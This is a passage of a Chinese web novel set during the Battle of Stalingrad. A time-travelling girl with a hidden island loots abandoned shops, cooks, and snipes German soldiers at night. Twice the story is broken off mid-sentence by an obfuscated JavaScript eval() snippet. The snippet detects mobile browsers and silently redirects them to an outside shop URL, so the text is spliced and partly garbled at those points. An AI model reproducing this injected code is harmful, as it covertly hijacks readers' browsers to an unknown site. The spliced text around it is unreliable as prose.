这里也防民吗?苏茜将疑问放在心底。她知道这段历史和了解详情完全不是一回事,更何况,了解详情也没法轻易活下去啊!她只看到评论,敌军俘虏和城里平民,都是几十万只活下来几千,军士更惨…… 蚊虫依旧不少,但夜间比较凉快。记载里的战役应该是打响了,可更细节的不记得。 苏茜在面包店关门后摸进去带走了仓库里剩余的大部分食材。布拉莫夫去参加了民兵组织——后者不要女人,没成年的女孩更不要。 在踩好点的百货大楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074297|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后门附近的公厕里回岛上整理物资。这几天太忙太累,都是吃现成的面包和沙拉,直到将家里和身上所有的卢布戈比都花光。 草草吃掉从马上关门的路边店买的食物,躺到收拾了一个多月的破屋。屋子里倒是有比较完好的密封罐子,现在保存的都是食材,还有过期后还能放一段时间的罐头。 整场战役199天,现在过去多久了?每一世可能具体日期有变,这次也许是17日,也许是15日,也许超过200天,所以一切皆有可能吧! 岛上现在有四个不同样式的炉子,一个古典烘烤炉,一个传统小煤炉,一个可以烤半只羊的桶状炭炉,还有一个小炭炉可以烧煤块或木头或炭,走廊也破旧漏水,当初用水泥重新做过的水平地面还行。 比如上辈子存下来的布料、工具、家具、冷武.器和家具用品等,以及这段时间买的、分的、“借”的、“拿”的东西。木头、木炭和煤块等则是在另一个山洞,且上辈子存着的燃料都还能烧,就是木头烧的时候仍然有黑烟。 忙到晚上,三只钟表都是九点多了,只是分钟都不相同。苏茜一身深色长袖长裤出来公厕,以最快速度撬门。但撬不开!用了上上辈子的存下的生锈工具钳,居然搞定了。 溜进百货大楼。楼里是有守夜的,而且还算尽忠职守,可惜只是一名被剩下的老人——迟早会死。苏茜避开了这个明显喝了酒过一日算一日的老人,一楼到二楼,所有的可能用得上的柜台,从服装鞋帽到蜡烛手电筒望远镜干电池,罐头酱料咖啡茶叶到酒类,连柜台货架一起搬空! 只留一些包装食品、面包点心等。 战役肯定已经打响,城里能听到炮声、爆炸声,这些东西与其留着资敌,还不如由她拿走。其中不少东西能放到通货膨胀时期呢! 凌晨时,收获满满地离开百货大楼,进公厕,回岛,洗洗躺下睡。这次苏茜睡到第二天下午才起来。先吃了块还没变质的面包,然后出海捕鱼。小船也是上辈子留下的江南乌篷船和几张渔网钓竿。海钓的话鱼饵比较麻烦,因为岛上没有蚯蚓,只能弄贝肉、小鱼小虾之类,效率低下,两个小时都下雨了还只收获三条不大不小的鱼。苏茜干脆冒雨上渔网,这次稍微好一些,水桶里总算有了十几斤鱼,可以回去做鱼干。 岸边礁石区的贝类她暂时留着,总有划不动船又得补充蛋白质的时候。 回到一排炉子那里,忘记预热烤炉了!所以改为吃面条。 这个面粉不太适合做长面条,但发酵后的面块切成短条,下水煮熟,加上明火烤的鱼肉和最后一点叶菜,口感不赖。 上辈子没有收藏不锈钢餐具,都是这辈子家里的,当然没有筷子。叉子也行,她的技术好着呢!用小锅煮咖啡粉,再小心倒在青花瓷大海碗里,加上最后一点鲜牛奶做成奶咖……也是挺复古的操作呢! 第三天,似乎还没打进来? 菜场不再营业,里面即使还有食物也都变质了。 天刚黑,苏茜回到“家”,里面现在除了无法搬走的,其他全部在岛上了,导致岛上露天都堆了很多不怕淋雨的东西。苏茜从岛上拿了“礼物”,然后敲一楼对门的门。 “瓦列里大叔,”大叔开门,她塞过去三袋面粉和一大包果干,还拖来三分之一棵树的树干,包着果干的其实是一条半旧厚实毛毯。“你拿着,这是我们店里的。” “……谢谢”明显苍老疲惫的瓦列里紧紧握了一会她的手。 “好好活着!我现在就离开家了。”苏茜轻声说完,摆摆手,替他关上门。 转身往店里而去。 今天已经是几号来着?有些记不清了。但刚才,她确实听到好几阵的飞机声。 路过几个关门的售货亭,她左右看看,无人,直接将还有少量货品的亭子收走,然后再回去面包店。地下室已经被征用了,一群士兵正在进进出出。 “面包店已经关了,没东西卖了。”一名士兵对有些茫然的她道。 “哦,我之前是店员,现在回家。对了,能给我两支木仓和足够的子.弹吗?我参加过女子射击训练营。”苏茜握拳做了个展示肱二头肌的动作。 “……哦,当然,你几岁了?”一名士官踱过来问。 “十七。我在店里做暑期兼职。”她多报了岁数。 “准头怎么样?”另一个看热闹的士兵问。 “我十四岁的时候就能打中靶子!”苏茜理直气壮。因为这是真的,就是上靶和十环差了很远。“现在年纪大一些,力气更大,肯定更好。” “……”哪个丧心病狂让十四岁的小姑娘去练打靶? “我爷爷和爸爸都阵亡了,他们都是勇敢的哥萨克,我也是!所以,请给我两支步木仓和子.弹。” “给她。”走过来看热闹的士官点点头,可能是那句哥萨克打动他了。 “你能带走多少子.弹?”一名有些好笑的士兵领着她去地下室。 苏茜刷地展开帆布袋,“我能拎多少就装多少。” “……行吧。”连同包装盒,撑死三百发。 三种步木仓,苏茜选了久仰大名的莫辛纳甘,一支是带瞄准镜的,另一支士兵说什么都不给瞄准的,只能拿普通的。加上两百多发7.62。 “我一定会立功的!杀一个也值得牺牲了!”苏茜背着两支步木仓,拎着一袋子.弹,还半抢半拿了一个反坦.克手.雷,对士官行了个不标准的军礼,冲其他士兵挥挥手就走了。 “……可怜的孩子!我看她根本没有十七岁,可能都不到十五。”一名有点年纪的士兵喃喃着。这个年纪的男孩都不一定上战场。 “大家都一样。她算是乐观的,兴许就能活到战争结束呢。”而他们,大概是活不到了。“打起精神来!以命换命都是值的。” 33.我和我的城(二) 苏茜是非常高兴的。第一次正经领到制式武.器,兴奋了好一会才平静下来。 售货亭里关了电源,自然没有冰淇淋,但昨天才关闭营业,白天温度不是特别高,所以牛奶等至少到今天还没变质。苏茜吃了个牛奶饱,另外有不少厨具、容器都是可以用的,包括售货亭的木板也可以砍了当柴烧。 对了,家里只有斧子没有锯子,所以她又出去找工具店,从隔壁的隔壁一间空荡荡应该是被居民们搬空的店铺闯进去,将剩下的一点东西全部拿走,但纸币硬币等等一概不碰,这玩意一点用都没了。 她可以有“拿来”的物资,但不应该有钱。 以及自家这栋居民楼。 四层的砖石结构,早前应该是一名实力不错的商人建的,并非工人宿舍那种卫生间和厨房共用的筒子楼,结构不是很对称,一共有十户人家,面积大小都不相同。她家是一楼,面积是最大的一间,水电煤电话齐备,窗外还有个小花圃,算是条件不错,就是卫浴设施差劲,但自家有个独立厨房。 花圃无人打理成了杂草堆。苏茜家里的窗帘都是拉上的,门窗也是关着的,只留了个气窗。水电煤已经出了问题,电话线断了。整栋楼肯定还有活人在家,但一片死寂,夜间无灯。苏茜摇头叹息着,回岛上睡觉。 早上起来先预热烤炉,洗漱吃杂粮麦粥当早餐,吃完发酵面团,整理一个应急包裹,再制作坚果和罐头水果面坯,然后钳出炉子里还在烧的木头浇上水,将面坯放进去,关上炉门。她的火候掌握得不是很好,但大概也有数,等差不多了,打开炉门。一股麦香扑鼻而来。 面包好了。做得不算完美,但总体还可以。苏茜拿个罐头以及面包回到家中时,意料之中地听到不远处有爆炸声。她从门里跑出来,楼里依旧什么声音都没有,显然人都跑光了。 她沿着墙穿过几棵树,顺手都砍了。一架轰.炸机从这片居民区略过时,她正在另一栋居民小楼墙根休息。不远处,突然一阵爆炸和震动。街对面一栋五层楼塌了一块,烟尘火星乱飞,很快就着起火。 地面上的感受与影视剧里那种炸.弹呼啸而过的声音完全不同,因为是低空俯冲轰.炸,都来不及反应。 苏茜有段时间没有回过神。等意识回炉立刻回到岛上,洗掉这一身穿了两天的内外衣服。接下来她就不可能有干净衣服穿了,最多是水里漂一下就拎起来,且珍惜吧! …… 夜里再次出来看情况的苏茜差点被飞过来的建材削死,立刻躲回岛。她并不想挑战自己的运气,一个敌人都没干掉就死于轰.炸,甚至最惨的是重伤后几天才慢慢死去,太不划算了。 怎么也得绑着手雷冲上去同归于尽! 她脑袋里转过无数奇怪疯狂的念头,一晚上都没睡好,到第二天中午喝了一口速溶咖啡才彻底清醒。速溶咖啡粉放多了,没有牛奶更没放糖,一口下去奇难吃无比,差点吐出来。赶紧加水稀释,然后还是放了一块方糖,这味道才稍微好些。早知道就不拿那么多咖啡了,从刚才的口感来看,每天三杯可以喝三年!而刚才有些恍惚地放了一汤勺的速溶粉,至少是三杯的量——汤勺是比较大的汤勺,真不知道自己那时在想什么。 傍晚时分,她又出来。好像隐隐听到河水的声音,但也就几声。再前面那个街区才是河景房,但不是居民区,而是一些公共设施,还有个改建的酒店。苏茜压根不知道敌人的行进路线。最要命的是,昨天还存在的居民楼,今天只剩下一半。 她犹豫着,等到岛上傍晚才再次出来。外面的天刚黑下来。没有路灯只有火光,即使视线不清也能看到断壁残垣的模样。 往自己家走。头顶不远处仍有飞机的声音,不远处传来爆炸声。四面没有人声、没有鸟叫。也没有木仓声。她沿着断壁残垣走了一条街——现在连走路都不顺当了,道路全是坑和建材,还有些散落的物品,也许还有人体组织,但晚上看不清楚。 苏茜花了大半小时才回到自家楼前。这栋楼就只剩个两面大概三层楼高的墙和几处倒塌的天花板。她认真辨认着,鼻子里全部是焦糊味。脚下,突然踩到一个软的东西,打开手电,是三楼邻居大妈的尸.体。她立刻关上手电,回到岛上跑到抛.尸扔垃圾专用海岸边,也就是山的另一边,然后将大妈尸.体拉进来,留下一块手表作为遗物,然后直接扔海里。 医院和药房之前都已经军管,所以苏茜只有买来的,没有趁乱摸到什么。好在杂货店仓库里的几架子劳保用品里有很多纱布手套口罩和帆布袋,百货大楼里也有不少皮手套,就是没有防毒面罩。她突然想到以后碰到尸.体该怎么办,放着闻尸臭? 就清理掉待的地方的尸.体吧,然后留下有价值的遗物后抛了。 瓦列里大叔家整个毁了,她家的厨房居然还存在着!就是长宽高完全改了,还三面漏风。苏茜先回去吃喝洗漱睡觉。 香皂牙膏足以用到保质期过去一年还有得剩,牙刷有三大盒好几十支,这个有各种用处还是多多益善。毛巾很多,很多。包括卫生纸也是。看着卫生纸,苏茜无比想念很久、很久之前的卫生棉,就这样想着,腹部开始疼痛,感觉也不对,她赶紧去换纸。果然不规律的重大打击之下,经期也不对了。 不行,得好好修炼!不然这身体支撑不了多久。 像血崩一样的状况,让苏茜在石屋里坐不是躺不是站不是了两天。岛上现在天气不冷,白天还挺热,夜里她就生个火炉,破门破窗都是开着的,不到两个小时就要换一叠卫生纸让她有些被吓到。不得不勉强给自己弄点吃的喝的。好在第三天情况就好很多,不疼痛,也能睡五个小时不惊醒。第五天就活过来了,洗掉弄脏的半身裙和毛巾床单——因为洗涤用品不给力的缘故,这裙子以后只能成为夜安裙了,一起塞进紧急包裹里作为耗材。 等回到自家厨房,轰.炸正在进行中。 苏茜再次逃回岛上。她不想用胸膛直面木仓炮,倒是可以练练木仓。 鉴于天赋问题,自己的动态视觉一般般,在没有法术的支持下,移动靶子想中靶都不容易。尤其是子.弹只有区区两百多发,也就是说固定靶练习用子.弹都不足,更不要说移动靶。也因此,苏茜一边每天四个小时的练武修炼以改善体质,一边摸索两支步木仓,尤其是瞄准镜的用途。准星缺口她还是知道的,但瞄准镜的关联就不一定了,何况她可能会在自然光线非常糟糕的夜间出没,而不是白天成为别人的活靶子,那么瞄准镜的地位更重要。 海岛上的风,与秋季城市废墟里的风一样难以捉摸。尤其是夜里,甚至无法看清风向风力参照物。在耗费了三十颗珍贵的子.弹后,苏茜才大概摸清自己的能力水平——50米内还有三成可能打到一点,之外的话纯属撞大运,除非紧急情况最好还是不要打草惊蛇。 自己跟狙击手之间还有有上万发子.弹加亿点点天赋啊!至于王牌狙击手几百米外一木仓一个,对她而言完全就是神迹。 浪费了好木仓呢!她抱木仓长叹。 * * * 今天的轰.炸少到几乎没有。苏茜在厨房里待了大半个白天,都没听到有爆炸声,不过仍然听到两次飞机略过头顶的声音,距离很近,说明是低空飞行。 今天是9月十几号来着?她没将日历带进石屋,现在对日期一时没了概念。没有明显的木仓声,炸.弹或炮.弹的声响也没有。起码敌人没有堆进到附近吧?苏茜没敢出门,在自身难保的情况下,也无力救援其他平民、去考验其他人的人性。 入夜后她将地面痕迹全部清光后出发了,朝着火光的方向前进,穿着斗篷,戴着口罩,背着支没有瞄准镜的木仓,满盒的子.弹。 这是寻找死路。 也是寻找战功。 谨慎地绕过一个个废墟——整片区域没有一栋完整的建筑,没有人声,只有各种气息仍然透过口罩传进鼻子。 死了很多人。甚至脚下也有可能踩到踩肢,让她瞬间回到当年,不,其实是同时代的缅甸战场和白骨小道。 不想不想。 行进了直线距离大概一公里,前面似乎有声音!苏茜立即躲进旁边一栋结构半完整的小楼,之前大概有四五层楼,反正现在只有砸穿的天花板,倒塌一半的墙,以及一些残存的隔断墙。 换上有瞄准镜的那支木仓,同样子.弹满盒,再在掩体后用望远镜观察。没有!什么都没有!再观察,还是没有! 搞不好,是自己人? 苏茜眯起眼,收起望远镜,缩在掩体后。等了会没动静就干脆回岛上睡觉去了。好在离开岛时是在走廊外,一回来直接可以将衣服鞋子全部扔水渠里漂洗一下,再晾在走廊外空地,让阳光、雨水和风解决上头沾染的各种东西。 第二天清晨,苏茜活生生饿醒。十五岁仍然是长身体的时候,再多碳水脂肪蛋白质维生素膳食纤维都不嫌多。何况她确实消耗很大,那一公里多的距离比山路还难走,加之精神紧张、消耗更剧。 昨天剩下的半块面包加上一个水果罐头,再去海钓些鱼。不过钓鱼半个多小时没收获,鱼饵三次被吃掉!气急之下,拿出渔网,下网,再划船。等捞起来的时候才发现这玩意堪称绝户网,小鱼小虾都一起捞了,而一只八爪鱼居然还想从细细的网里跑掉!赶紧将小鱼小虾都扔进海里,八爪鱼和其他鱼都放入有半桶海水的桶里。 没有螃蟹。 她还去海带林——谢天谢地这海带都存在上千年了——趁着天气不太冷、自己的身体还撑得住,割了不少海带回去,一段加餐,其他一大捆和剩余的鱼一起烘干水分存放。 烤炉好了,烤两个硬面包和两条海鱼,烤好了蘸着海带汤吃。继续烧炉子,再烤个苹果西红柿酱洋葱培根披萨——简单粗暴不好吃的版本,因为几个洋葱和苹果不行了,得吃掉。这样就到了晚上七点多。岛上天黑了,外面也日落了。喝一壶咖啡茶——品质一般的咖啡粉和中亚茶叶一起煮,不存在口感好不好,纯粹是补充水分和提神——苏茜准备好望远镜、木仓支、和匕.首,雄赳赳气昂昂地,缩在掩体后。 观察。 没有敌人,没有自己人。也没有平民出来找死。苏茜不知道那些自己挖的防空洞效果如何,也不想体验,更没想过去察看情况。 会不会晚上没人出来了?苏茜决定再等两个小时。这时节伏尔加格勒的夜间气温不高,坐久了是会冷的,所以她披了毛毯,坐在折起来的地毯上——感谢百货公司的慷慨赠予。 远处,有机械声,有隐隐的人声,虽然听不清,但应该不是俄语。可从掩体这边看120度左右视野里仍然没有人。 苏茜觉得自己紧张兴奋得不行……赶紧回岛方便下,顺便将毯子地毯都带回去。 再出来,细细倾听观察,居然在没有声响、没有火光的一处地方发现,德军!德军吔!就是,起码两百米…… 不行啊!打不中啊!苏茜沮丧地几乎想哭。 这时突然一声木仓响。其中一名站得比较突出的敌人倒下,伤处不在苏茜的观察方向,而其他人受惊猛蹲开始摆木仓杆。 好像就是下意识觉得应该做,苏茜也开了木仓,两木仓。走狗屎运地居然打中一个,打伤是肯定的,不一定立死却肯定失去立刻投入战斗的能力。她立刻按照之前看好的路,往另一处废墟飞跑——应该与第一木仓的方向不一样。 声音嘈杂,大灯也在扫来扫去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079843|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏茜已经在第三处废墟的墙根处找到一个不错的位置,在敌人的巡逻队伍分兵两路搜索的时候回了岛上。 她很确定,另一位木仓手是真正的狙.击手,准头比她好多了,一木仓击中头部毙命,而她能打中已是鸿运当头。她很努力地回想瞄准镜里对方的反应,应该是躯干上,她也确实是瞄准胸膛部位,不过不能肯定打到哪里……反正那人没法第二天就在伏尔加战场打仗,要么慢慢死,要么送去后方最后被俘,嘿嘿。 现在是凌晨一点多,苏茜完全没有睡意,放下武.器,就着快烧到头的蜡烛马灯的光线洗干净手,摸出来冷掉的披萨啃掉半个,再漂洗一下衣服鞋子——没有填子.弹,因为完全没有经过系统训练的她知道这木仓膛里还有一颗子.弹,但如果中途加多了或少了会不会出现问题就不明白了,所以干脆留着下一回用。下次打完三发,啊不,两发其实就说明她不是个好手,三发肯定会暴露她是菜鸟的事实啊! 蜡烛燃尽,炉子还有一点点微光,再添几块木炭。苏茜躺在床上,盖着毯子,褥子是“奢侈”的羊毛皮,亚麻床单略粗糙但质感十足,就这样脑袋里转过各种念头,设想无数种场景,在天空呈现出蓝黑色时才睡着。 “罪魁祸首”的苏茜并不知道敌人那边有两个人受伤,一个严重得快死了,另一个是穿透的“轻伤”,“只需要”养伤一个月。那边真的以为有两名狙击手,将三个自己人打成一死一伤。确切地说,那个一击毙命后又听见两声木仓响的狙击手也以为是战友同时开火,还高兴两个人朝不同的方向撤退更有效。 她更不知道自己这个每次只在夜间开两木仓的习惯,后来算是闯出了小名气。 一觉醒来,已是阳光偏西,又饿又渴、嫌热踢开毛毯还想上厕所。烧开水,洗脸刷牙,拿昨晚做好还没变质的剩下半个披萨当今天的早中晚餐,开水好了直接泡茶,蘸点茶水将干硬的饼皮吞下。所以她这披萨做得挺糟的,西红柿酱太多,跟同样太多蔬果味道上不太搭。还是做短面条吧,切成粗短的形状,多煮一会,用勺子舀着吃。由于她顺来的食物里没有通心粉这类好存放东西,只能用全麦面粉做各种匪夷所思的食物。呃,听说还有一种直接在水里下面粉的面食?她回忆了半天也没想起来具体怎么做,但打算试试。 修炼后练习武技招式刀法,然后洗漱睡觉。 次日早上起来,突然不想弄烤炉了。 用小圆炉子烧了一小锅水,水开了,苏茜也犹豫了。直接倒面粉,会糊吧?然后这锅要清理半天!她转了个顺序,将开水倒入放面粉的瓷盆里,轻松搅合成,面团?幸好刚才顺序没搞错。那么这个面团要怎么吃?想了会儿,干脆再烧一锅水,烧开后用这个面团捏出一个个形状大小不均的小块扔进水里煮,不放心地小火煮了半小时——烧煤块的小圆炉子调节大小火候也略麻烦——面块都浮在水面上,应该熟了。漏勺舀出来,再倒掉大部分面汤水,然后放入牛肉罐头豌豆罐头和海带干,再将面块全部回锅,搅拌,拿起来,换上一锅清水慢慢烧开。 锅就当碗了,反正她有好几箱子锅,铁锅陶锅钢锅。这些东西她不拿走的话,不是炸毁就是被敌人用掉,反正下场都不好,还不如她用着。 上午十点半,苏茜好不容易将一锅滋味奇奇怪怪的水陆综合面块吃掉,很撑,但说不上好吃,就是换换口味。 吃完,继续捕鱼去。天气转凉,还下雨,这种天不是出海的好时候,可她需要新鲜美味蛋白质,不能只吃齁咸的罐头。何况这渔网不错。 防雨斗篷在海上的风雨浪头里什么用都没有。三小时后,苏茜一身湿冷地带着一桶收获回来。 这个身体因为地域的关系,不怎么畏冷。所以在烤火泡澡热红茶烤土豆水果罐头之后,连喷嚏都没打。 海鱼海虾被捞出来放在炉子上方,经过一晚上的烘烤,水分大部分没了,盐分析出来。唯一最后剩下的一只倒霉的海蟹还在海水里吐泡泡,被早上起来心情不错的苏茜做了海水煮海蟹,还加了一点海带干。这里没有葱姜料酒,她只倒了些伏特加,用原始的法子解决食材问题。 说实话,因为特别新鲜,所以腥味不太重,倒是海水里捞出来的海带非常难吃,勉强嚼了一半就扔了。 现在的食材也发挥不了厨艺。所以她大部分的研究精神都放在大烤炉上。这种炉子跟之前英伦时用的不一样,所以她试着不关炉门,在炉腔里烧木头的同时,在一边放食材。有好几种不同做法的,比如馕饼、全麦包、蛋糕、发酵水果馅料面团,还没彻底烤好的鱼干虾干,还有一壶红茶。 岛上风景看过很多很多,早就熟悉得不行。 成林的火灵木成长极缓慢,但确实在长,最高的树干部分已经有五米高了,加上细枝和树叶将近六米。苏茜试着锯过,爬着梯子上去用手工锯锯了两个小时,累得要命才切开一半,另一半两天后锯,最后才锯下来。希望岛上的风能帮忙完成其他火灵木的砍伐工作吧,虽然目前看起来一点用也没有,也不知道什么时候能用到发电机和电锯。现在是有柴油发电机,可都是大型设备,根本别想民用,可能得解体后买进口货——那时买了也没用,因为有可能因为没有柴油而限制几百年变成垃圾,以前的好几台发电机都是这样的下场。 一个小时后,烤炉里几小块木头烧得差不多,食材陆陆续续取出来一大半。有成功,有失败。效果最好的居然是全麦包和虾干,以及茶。 茶叶品质很一般,但这样煮滋味很不错。 清理掉炉膛。还是用最便宜的煤炉吧,蒸一下罐头肉和蔬菜,乱七八糟的鱼干……明天凌晨开始吃掉吧! 天快黑了。 可以准备出去猎杀或被猎杀了。 34.我和我的城(三) 戴上颜色都变了、但用开水煮过的口罩,穿上漂洗不掉污渍的深色衣服与斗篷,顶着一头只用清水清洗和手指头梳头的头发——就怕露馅——苏茜在上次的落脚点蹲守了一个多小时,什么收获也没有,倒是被隐隐的腐臭味搞得鼻子快失灵了。感谢夜间气温下降到十摄氏度左右,不然那味道足可以杀人啊! 另外,身上的衣服不够了。她回岛喘口气,加一件深色毛衣和秋裤。她是顺来了棉裤,但现在穿也太早了。得留到零下的时候再穿。 在阴恻恻的半明半暗夜色里,悄声穿行于形状各异的废墟间,无视路过甚至踩过的残骸。她已经失去了方向感,但谁也想不到居然一头撞到,装甲部队的外围! 一瞬间,苏茜觉得自己的呼吸都没了。接着就是倾听所有响动。 静悄悄的,只有耐心等待一段时间,才有隐隐的脚步声、机械轻微的摩擦声,和半梦半醒的呓语。 自己刚才赶路太急,所以才没注意到动静。可,来都来了。 大不了自己就在岛上待到明年!也挺好的,起码空气、温度和食物比这里舒服多了,最要紧的是绝对安全啊! 苏茜咬牙半天,下定决心,缩下身子,回岛,拿来反坦克手雷。这种手雷她看过图解,但没有实物上手过。可现在不能“试验”,她拿着没有“开封”的手雷,或者说是手.榴.弹,一公斤多重、相当沉手。所以先找到保险片,这玩意是最要命的。剥落就可能炸掉自己。保险拉环应该是先拔掉,然后再扔。 她在心里演练了好几遍,上手测试了十几回动作要领和用力方位。然后蹲着回到现实的废墟外。 感谢自己身高都不到一米六,体重应该不超过一百斤,整个人不高不胖,而斗篷的颜色与废墟、没什么星月光的夜色相得益彰。 即使远处有探照灯,但方向不对,一直没有偏到自己这边。坦克在影视作品里似乎也就那样,可在现实里就觉得无比庞大,她都可以钻到车底下。哦,自己是钻不过去的,根本不可能靠得那么近不被发现。活动了下臂膀,左手一用力,保险环掉了,右臂使劲,扔! 抛物线非常完美,落点肯定是正确的。 然后躲!躲躲躲! 回到岛上好几分钟时间,苏茜心脏狂跳的症状才逐渐平静。 她一直保持跪趴的姿势,好久才慢慢站起来。煤炉上的大锅水还没烧开,但水是烫的。 由于刚才右臂用力不当、可能有点拉伤,所以没那么多力气桶浴,何况腹部不太对劲的情况可能说明经期又到了。她在石屋壁炉里添了一段烘得差不多的树干,然后找来一堆脸盆和不锈钢水勺,兑了五盆温水,迅速脱掉衣服兜头冲洗,洗完就冲进屋子,快速擦干换衣换和纸,衣服也不漂洗,就垫着毛巾躺在木床上挺尸。 太刺激了! 刺激得快死掉了。 睁着眼睛到天亮,期间上三次厕所,找个罐头吃,刷牙后睡到下午。起来,修炼。胳膊确实拉伤,但不严重,轻微活动开后情况好了一点点,可是要彻底好全起码一周,要无惧步木仓后座力的话需要两周。 现在几号来着?10月了吧?苏茜现在整个人都有些颓,做事情有些无精打采地按部就班,连手表停了都没注意。跟机械小座钟对比时间,发现起码停走了半天,也许一天半。赶紧上发条调整过来。 就是日期更加搞不清楚了。水银温度计底座废了,刻度不清晰了,但体感温度还是可以感知的。岛上现在中午,20度左右,温度宜人。外面的温度大概15度左右,晚上可能才5度,只盖一条不厚的羊毛毯子会冷。 可她在岛上即使晚上也只需要一件单外套。晚上出门要多穿点,不然冻感冒就不好了。 …… 地窖里的土豆存放情况良好。这玩意能当菜能当主食,近乎万能。 土豆泥加豌豆罐头和炖肉罐头,配上一杯咖啡。整个伏尔加格勒能比她吃得更好的大概也就是敌人的将军了。 练武练武!一周不认真练习就会退化。 另外,匕.首,尖刺,长刀,大剑、细剑,统统上一遍。 热武.器需要举木仓瞄准,冷武.器可以直接扔出去。所以她在努力训练双手飞匕.首,尤其是左手左臂。现在没有手木仓,要命的是出去很可能就是敌军的营地。即使不是营地,也是包围圈。苏茜努力回想着地形,突然想起来那辆坦克脚边不远似乎有个下水道口,口上的井盖似乎坏了,但留给自己的时间非常有限,不一定有那个时间拎起井盖,而且那样太容易暴露行踪。 想了半天,只能继续搞“神出鬼没”那一套,另外,见过的人都得死。她穿上棉衣和毛裤毛袜皮靴,举起还有三颗子.弹的步木仓,打开保险,左手还扣着一柄匕.首。就这样用一种战斗姿势回到现世。 冬季北国的天将黑未黑,没有其他照明的条件下还是可以看得清的。 没有营地了。 但是被人看见了! 双方都很惊诧。对方更惊,因为他们明明是搜索过无人的,这是哪里冒出来的鬼? 苏茜没多想就直接开木仓,不到30米的距离,有心打无心,两木仓,一木仓一个,一个脸上开花一个躯干中.弹。然后立刻闪到一米多高的残留墙壁后,回岛。 从出血位置来看,这俩敌人不会活太久。其实她是在做好事,与其缓慢地在寒冷饥饿中挣扎几个月、最后死在俘虏营,还不如干脆点是不是。 木仓膛里应该还有一颗子.弹,她握着木仓站在岛上半晌,想了很长时间才想起来在视野的一角有一辆废了的坦.克。然后高高兴兴寻了个一百多米外的树枝目标,射击。菜鸟站着开步木仓打远距离目标,结果完全不可预料。打没打中的不知道,反正弹匣空了。 照这频率,剩下的不到两百发子.弹打完,大概战役就能结束,开始进入反攻阶段。可她不敢放开练木仓,毕竟战役还有一百多天呢,每天两木仓也差不多了,真没多少练习的余地。 第二晚,还是那个地点,炸废的坦克居然依旧在原地:看来自己炸的地方非常正确。 一个人没有。苏茜很谨慎地倾听观察了十几分钟,真的没人。 她开始朝远离探照灯的方向移动。 缓慢边走边观察了不到一小时,天彻底黑了,没有光线啥都看不清,但冬季了,多数敌兵身上只有好看却不暖和的大衣,如果夜间温度太低、一条毛毯是扛不住的,得额外取暖,这就是活生生的靶子了。 有光!有人!她兴奋无比地架木仓,瞄准镜内外一比对,两百米,八人小队。搞不定。 又等了半小时,好运降临,那队人居然靠近了些,但光线极糟。 苏茜无效地估算着距离、风向和目标移动方式,回想练木仓时连射的手感——回想不出来怎么办!再等等。那队人停下来,在说什么。苏茜在瞄准镜里看到一名衣着、神情似乎位置比较高的人正跟两个人在说什么。 现在! 两木仓! 走人! 起码一颗子.弹打伤对方,因为他的姿势是躯体中弹——反正不是瞄准的部位。 打伤也好,有生力量少一个是一个。 * * * 苏茜兴奋不已,一晚上都没睡着,又逼着自己躺了一个上午,还是兴奋。只能起来正常热炉子,练功,吃东西,预留食物,小憩片刻,等大概下午四点多,打开保险出门。 这次愣是没碰到人。 或者说自己移动速度太慢,直线距离估计不到一百米,冒险花了近一个小时到处观察潜行,也是醉人。 不死心地又走了一个小时,大概也就是五十米的样子,还是没人。天黑得非常彻底,什么都看不见。体力和精神消耗过巨的苏茜回岛,这次勉强漂洗下衣服鞋子,开水煮一下口罩,吃了两口面包洗漱完就睡着了。 一觉睡到清晨。 第二袋面粉才吃了一小半。原来的估计错误,由于不缺蛋白质和油脂,加上一天吃两顿的作息,她的主食消耗缓慢。原以为一个月得一袋,现在只需要大半袋,海鱼和罐头功不可没。 罐头和腌制食品不能多吃,但对每天都活在战争恐惧里的人来说,不饿死、不被敌人折磨而死就是好的。 最重要的是苏茜觉得活得够本了,从概率和战场医疗水平来说,至少杀死三个敌人、炸毁一辆坦克! 多少战士是绑着反坦克手雷与坦克同归于尽的!不过那一般是在坦克行进过程中,也就是里头有好几个人的情况。她这个则是纯粹的破坏机械,里面不一定有人,可一辆坦.克可以坐的事情太多了,有机会她得继续做。 能够活蹦乱跳地活着当然好。 接下来的两个傍晚,苏茜游魂一样冒着被敌人狙击手发现的风险,每次花两个小时左右乱窜。都没碰到人。 可今晚,望远镜里看到的一些像是烧东西的设施,估计有比较大的营地。但没人影。 苏茜缓慢爬近,裹着棉衣地毯耐心等了快三个小时,夜逐渐深了、气温也越发低,终于似乎有响动!她这次直接上瞄准镜,两个人出来方便和抽烟。可左侧,大概几百米处,突然响起一声木仓响!一个人应声倒地。 见鬼!苏茜也扣动扳机,另一个人本来是躲避木仓声方向,不成想被早就清理过肯定没活人的废墟里的两发子.弹打中。 被两颗子.弹打在躯干上,即使不死也是有生力量没了。 苏茜迅速后退躲避,然后在一处快两米的废墟墙角回岛。由于她的距离近,且有声响,因此追兵大概率是先过来追击她。 嗯,追到冷空气哦! 两木仓幽灵的名声开始小小的流传。 10月底的天气越发冷,日夜温差到了恐怖的程度。苏茜穿的是棉裤,不然根本不可能在寒凉的夜里蹲守三个小时。她的“战友们”也觉得奇怪,因为夜里真不是狙击的好时机。不过,两个人,三发子.弹,打死两个敌人,还搞得一队敌人神经衰弱,战果相当不错。 